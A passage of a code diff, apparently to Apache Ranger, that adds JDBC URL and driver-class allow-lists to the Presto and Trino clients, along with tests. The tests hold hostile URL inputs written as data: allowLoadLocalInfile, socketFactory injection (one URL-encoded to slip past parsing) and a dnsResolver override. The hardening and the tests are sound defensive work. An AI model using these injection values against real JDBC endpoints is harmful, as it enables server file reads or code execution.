+ try (MockedStatic<DriverManager> dmStatic =
Mockito.mockStatic(DriverManager.class)) {
+ HadoopException excp = assertThrows(HadoopException.class, () -> {
+ try {
+ m.invoke(client, "u", "p");
+ } catch (InvocationTargetException ite) {
+ throw ite.getCause();
+ }
+ });
+
+ assertTrue(excp.getMessage().contains(expectedMessage),
excp.getMessage());
+ dmStatic.verify(() ->
DriverManager.registerDriver(Mockito.any(Driver.class)), Mockito.never());
+ dmStatic.verify(() ->
DriverManager.getConnection(Mockito.anyString()), Mockito.never());
+ dmStatic.verify(() ->
DriverManager.getConnection(Mockito.anyString(), Mockito.anyString(),
Mockito.anyString()), Mockito.never());
+ }
+ }
+
+ public static class TrackedClass {
+ static {
+ TRACKED_CLASS_INITIALIZED.set(true);
+ }
+ }
+
public static class NoopHiveClient extends HiveClient {
public boolean initCalled;
diff --git
a/plugin-presto/src/main/java/org/apache/ranger/services/presto/client/PrestoClient.java
b/plugin-presto/src/main/java/org/apache/ranger/services/presto/client/PrestoClient.java
index c03482490..b16c4ce50 100644
---
a/plugin-presto/src/main/java/org/apache/ranger/services/presto/client/PrestoClient.java
+++
b/plugin-presto/src/main/java/org/apache/ranger/services/presto/client/PrestoClient.java
@@ -22,6 +22,7 @@
import org.apache.ranger.plugin.client.BaseClient;
import org.apache.ranger.plugin.client.HadoopConfigHolder;
import org.apache.ranger.plugin.client.HadoopException;
+import org.apache.ranger.plugin.client.JdbcUrlValidator;
import org.apache.ranger.plugin.util.PasswordUtils;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
@@ -38,6 +39,8 @@
import java.sql.SQLTimeoutException;
import java.sql.Statement;
import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collections;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
@@ -51,6 +54,9 @@ public class PrestoClient extends BaseClient implements
Closeable {
private static final String ERR_MSG = "You can still save the repository
and start creating " + "policies, but you would not be able to use autocomplete
for " + "resource names. Check ranger_admin.log for more info.";
+ private static final List<String> ALLOWED_JDBC_URL_PREFIXES =
Collections.singletonList("jdbc:presto://");
+ private static final List<String> ALLOWED_JDBC_DRIVER_CLASSES =
Collections.unmodifiableList(Arrays.asList("io.prestosql.jdbc.PrestoDriver",
"com.facebook.presto.jdbc.PrestoDriver"));
+
private Connection con;
public PrestoClient(String serviceName) {
@@ -209,6 +215,14 @@ private void initConnection() {
String driverClassName = prop.getProperty("jdbc.driverClassName");
String url = prop.getProperty("jdbc.url");
+ if (url != null) {
+ url = url.trim();
+ }
+
+ // validate before loading the driver class: loading a class runs its
initializers
+ JdbcUrlValidator.validate(url, ALLOWED_JDBC_URL_PREFIXES);
+ JdbcUrlValidator.validateDriverClassName(driverClassName,
ALLOWED_JDBC_DRIVER_CLASSES);
+
Properties prestoProperties = new Properties();
String decryptedPwd = null;
diff --git
a/plugin-presto/src/test/java/org/apache/ranger/services/presto/client/TestPrestoClient.java
b/plugin-presto/src/test/java/org/apache/ranger/services/presto/client/TestPrestoClient.java
index 29462e62d..093d3e18c 100644
---
a/plugin-presto/src/test/java/org/apache/ranger/services/presto/client/TestPrestoClient.java
+++
b/plugin-presto/src/test/java/org/apache/ranger/services/presto/client/TestPrestoClient.java
@@ -33,6 +33,7 @@
import java.security.PrivilegedAction;
import java.sql.Connection;
import java.sql.DatabaseMetaData;
+import java.sql.Driver;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.SQLTimeoutException;
@@ -41,18 +42,24 @@
import java.util.HashMap;
import java.util.List;
import java.util.Map;
+import java.util.concurrent.atomic.AtomicBoolean;
import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertFalse;
import static org.junit.jupiter.api.Assertions.assertThrows;
import static org.junit.jupiter.api.Assertions.assertTrue;
import static org.mockito.ArgumentMatchers.any;
import static org.mockito.ArgumentMatchers.anyString;
import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.never;
import static org.mockito.Mockito.when;
@ExtendWith(MockitoExtension.class)
@TestMethodOrder(MethodOrderer.MethodName.class)
public class TestPrestoClient {
+ private static final AtomicBoolean TRACKED_CLASS_INITIALIZED = new
AtomicBoolean(false);
+ private static final String TRACKED_CLASS_NAME =
TestPrestoClient.class.getName() + "$TrackedClass";
+
private PrestoClient createMockedClient() throws Exception {
return createMockedClient(new HashMap<>());
}
@@ -314,6 +321,61 @@ public void test10_schemaName_validateInList() throws
Exception {
}
}
+ @Test
+ public void test11_initConnection_rejectsNonMatchingUrlScheme() throws
Exception {
+ Map<String, String> props = new HashMap<>();
+
+ props.put("jdbc.url",
"jdbc:mysql://address=(host=localhost)(port=3306)(allowLoadLocalInfile=true)/db");
+
+ assertRejectedBeforeDriverLoad(props, "jdbc.url must start with");
+ }
+
+ @Test
+ public void test12_initConnection_rejectsDriverClassNotInAllowList()
throws Exception {
+ Map<String, String> props = new HashMap<>();
+
+ props.put("jdbc.driverClassName", TRACKED_CLASS_NAME);
+
+ assertRejectedBeforeDriverLoad(props, "jdbc.driverClassName must be
one of");
+ assertFalse(TRACKED_CLASS_INITIALIZED.get(), "driver class must not be
loaded when it is not in the allowed list");
+ }
+
+ @Test
+ public void test13_initConnection_rejectsUnsafeUrlParameter() throws
Exception {
+ Map<String, String> props = new HashMap<>();
+
+ props.put("jdbc.url",
"jdbc:presto://localhost:8080?socketFactory=com.example.Evil");
+
+ assertRejectedBeforeDriverLoad(props, "prohibited parameter");
+
+ props.put("jdbc.url",
"jdbc:presto://localhost:8080/catalog%3BsocketFactory=com.example.Evil");
+
+ assertRejectedBeforeDriverLoad(props, "prohibited parameter");
+ }
+
+ private void assertRejectedBeforeDriverLoad(Map<String, String> props,
String expectedMessage) {
+ try (MockedStatic<DriverManager> dmStatic =
Mockito.mockStatic(DriverManager.class);
+ MockedStatic<Subject> subjectStatic =
Mockito.mockStatic(Subject.class)) {
+ subjectStatic.when(() -> Subject.doAs(any(),
any(PrivilegedAction.class)))
+ .thenAnswer(inv -> {
+ PrivilegedAction<?> action = inv.getArgument(1);
+ return action.run();
+ });
+
+ HadoopException excp = assertThrows(HadoopException.class, () ->
createMockedClient(props));
+
+ assertTrue(excp.getMessage().contains(expectedMessage),
excp.getMessage());
+ dmStatic.verify(() ->
DriverManager.registerDriver(any(Driver.class)), never());
+ dmStatic.verify(() -> DriverManager.getConnection(anyString(),
any()), never());
+ }
+ }
+
+ public static class TrackedClass {
+ static {
+ TRACKED_CLASS_INITIALIZED.set(true);
+ }
+ }
+
private static class NoConnectionPrestoClient extends PrestoClient {
public NoConnectionPrestoClient(String serviceName, Map<String,
String> connectionProperties) {
super(serviceName, connectionProperties);
diff --git
a/plugin-trino/src/main/java/org/apache/ranger/services/trino/client/TrinoClient.java
b/plugin-trino/src/main/java/org/apache/ranger/services/trino/client/TrinoClient.java
index ef988695b..92056da6d 100644
---
a/plugin-trino/src/main/java/org/apache/ranger/services/trino/client/TrinoClient.java
+++
b/plugin-trino/src/main/java/org/apache/ranger/services/trino/client/TrinoClient.java
@@ -17,6 +17,7 @@
import org.apache.ranger.plugin.client.BaseClient;
import org.apache.ranger.plugin.client.HadoopConfigHolder;
import org.apache.ranger.plugin.client.HadoopException;
+import org.apache.ranger.plugin.client.JdbcUrlValidator;
import org.apache.ranger.plugin.util.PasswordUtils;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
@@ -33,6 +34,7 @@
import java.sql.SQLTimeoutException;
import java.sql.Statement;
import java.util.ArrayList;
+import java.util.Collections;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
@@ -47,6 +49,9 @@ public class TrinoClient
private static final String ERR_MSG = "You can still save the repository
and start creating policies, but you would not be able to use autocomplete for
resource names. Check ranger_admin.log for more info.";
+ private static final List<String> ALLOWED_JDBC_URL_PREFIXES =
Collections.singletonList("jdbc:trino://");
+ private static final List<String> ALLOWED_JDBC_DRIVER_CLASSES =
Collections.singletonList("io.trino.jdbc.TrinoDriver");
+
private Connection con;
public TrinoClient(String serviceName) {
@@ -207,6 +212,15 @@ private void initConnection() {
Properties prop = getConfigHolder().getRangerSection();
String driverClassName = prop.getProperty("jdbc.driverClassName");
String url = prop.getProperty("jdbc.url");
+
+ if (url != null) {
+ url = url.trim();
+ }
+
+ // validate before loading the driver class: loading a class runs its
initializers
+ JdbcUrlValidator.validate(url, ALLOWED_JDBC_URL_PREFIXES);
+ JdbcUrlValidator.validateDriverClassName(driverClassName,
ALLOWED_JDBC_DRIVER_CLASSES);
+
Properties trinoProperties = new Properties();
String decryptedPwd = null;
diff --git
a/plugin-trino/src/test/java/org/apache/ranger/services/trino/client/TestTrinoClient.java
b/plugin-trino/src/test/java/org/apache/ranger/services/trino/client/TestTrinoClient.java
index 6d1276d10..a27312224 100644
---
a/plugin-trino/src/test/java/org/apache/ranger/services/trino/client/TestTrinoClient.java
+++
b/plugin-trino/src/test/java/org/apache/ranger/services/trino/client/TestTrinoClient.java
@@ -28,6 +28,7 @@
import java.security.PrivilegedAction;
import java.sql.Connection;
import java.sql.DatabaseMetaData;
+import java.sql.Driver;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.SQLTimeoutException;
@@ -36,18 +37,24 @@
import java.util.HashMap;
import java.util.List;
import java.util.Map;
+import java.util.concurrent.atomic.AtomicBoolean;
import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertFalse;
import static org.junit.jupiter.api.Assertions.assertThrows;
import static org.junit.jupiter.api.Assertions.assertTrue;
import static org.mockito.ArgumentMatchers.any;
import static org.mockito.ArgumentMatchers.anyString;
import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.never;
import static org.mockito.Mockito.when;
@ExtendWith(MockitoExtension.class)
@TestMethodOrder(MethodOrderer.MethodName.class)
public class TestTrinoClient {
+ private static final AtomicBoolean TRACKED_CLASS_INITIALIZED = new
AtomicBoolean(false);
+ private static final String TRACKED_CLASS_NAME =
TestTrinoClient.class.getName() + "$TrackedClass";
+
private TrinoClient createMockedClient() throws Exception {
return createMockedClient(new HashMap<>());
}
@@ -303,6 +310,65 @@ public void test10_schemaName_validateInList() throws
Exception {
}
}
+ @Test
+ public void test11_initConnection_rejectsNonMatchingUrlScheme() throws
Exception {
+ Map<String, String> props = new HashMap<>();
+
+ props.put("jdbc.url",
"jdbc:mysql://address=(host=localhost)(port=3306)(allowLoadLocalInfile=true)/db");
+
+ assertRejectedBeforeDriverLoad(props, "jdbc.url must start with");
+ }
+
+ @Test
+ public void test12_initConnection_rejectsDriverClassNotInAllowList()
throws Exception {
+ Map<String, String> props = new HashMap<>();
+
+ props.put("jdbc.driverClassName", TRACKED_CLASS_NAME);
+
+ assertRejectedBeforeDriverLoad(props, "jdbc.driverClassName must be
one of");
+ assertFalse(TRACKED_CLASS_INITIALIZED.get(), "driver class must not be
loaded when it is not in the allowed list");
+ }
+
+ @Test
+ public void test13_initConnection_rejectsUnsafeUrlParameter() throws
Exception {
+ Map<String, String> props = new HashMap<>();
+
+ props.put("jdbc.url",
"jdbc:trino://localhost:8080?socketFactory=com.example.Evil");
+
+ assertRejectedBeforeDriverLoad(props, "prohibited parameter");
+
+ props.put("jdbc.url",
"jdbc:trino://localhost:8080/catalog%3BsocketFactory=com.example.Evil");
+
+ assertRejectedBeforeDriverLoad(props, "prohibited parameter");
+
+ props.put("jdbc.url",
"jdbc:trino://h:8080?dnsResolver=com.example.Resolver");
+
+ assertRejectedBeforeDriverLoad(props, "prohibited parameter");
+ }
+
+ private void assertRejectedBeforeDriverLoad(Map<String, String> props,
String expectedMessage) {
+ try (MockedStatic<DriverManager> dmStatic =
Mockito.mockStatic(DriverManager.class);
+ MockedStatic<Subject> subjectStatic =
Mockito.mockStatic(Subject.class)) {
+ subjectStatic.when(() -> Subject.doAs(any(),
any(PrivilegedAction.class)))
+ .thenAnswer(inv -> {
+ PrivilegedAction<?> action = inv.getArgument(1);
+ return action.run();
+ });
+
+ HadoopException excp = assertThrows(HadoopException.class, () ->
createMockedClient(props));
+
+ assertTrue(excp.getMessage().contains(expectedMessage),
excp.getMessage());
+ dmStatic.verify(() ->
DriverManager.registerDriver(any(Driver.class)), never());
+ dmStatic.verify(() -> DriverManager.getConnection(anyString(),
any()), never());
+ }
+ }
+
+ public static class TrackedClass {
+ static {
+ TRACKED_CLASS_INITIALIZED.set(true);
+ }
+ }
+
private static class NoConnectionTrinoClient extends TrinoClient {
public NoConnectionTrinoClient(String serviceName, Map<String, String>
connectionProperties) {
super(serviceName, connectionProperties);